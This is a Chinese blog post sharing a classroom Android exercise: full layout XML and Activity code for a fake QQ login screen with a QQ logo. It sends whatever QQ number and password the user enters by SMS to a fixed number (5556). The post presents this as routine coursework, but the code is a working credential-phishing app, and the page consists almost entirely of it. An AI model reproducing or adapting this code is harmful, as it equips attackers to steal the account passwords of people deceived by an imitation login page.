打算在过两三天的时间我就要准备出发去浙江了,所以把之前的资料来个总结。
这都是在课堂上做过的作业。
好了,废话少说,直接上代码。
步骤:
1.设置单击事件
2.获取输入的QQ号码与密码
3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
5.发送QQ号码与密码
布局:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <ImageView android:background="#09A3DC" android:layout_width="match_parent" android:layout_height="wrap_content" android:src="@drawable/qq" /> <!--输入QQ号码 --> <EditText android:id="@+id/et_qqNumber" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:hint="请输入qq号码:" android:inputType="numberSigned" /> <!--输入QQ密码--> <EditText android:id="@+id/et_qqPassword" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:hint="请输入qq密码:" android:inputType="textPassword" /> <Button android:id="@+id/btn_login" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="20dp" android:textColor="#ffffff" android:background="#09A3DC" android:text="登录"/> </LinearLayout>
Activity:
public class MainActivity extends Activity { EditText et_qqNumber; EditText et_qqPassword; Button btn_login; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_qqNumber=(EditText) findViewById(R.id.et_qqNumber); et_qqPassword=(EditText) findViewById(R.id.et_qqPassword); btn_login=(Button) findViewById(R.id.btn_login); btn_login.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { //2.获取输入的QQ号码与密码 String qq = et_qqNumber.getText().toString().trim(); String password = et_qqPassword.getText().toString().trim(); // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续 if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){ Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show(); return ; } // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取 SmsManager manager = SmsManager.getDefault(); // 5.发送QQ号码与密码 String message="qq :"+qq+",pwd:"+password; manager.sendTextMessage("5556", null, message, null, null); /* * 分离短信 ArrayList<String> divideMessage = manager.divideMessage(message); for (String str : divideMessage) { manager.sendTextMessage("5556", null, str, null, null); }*/ } }); } }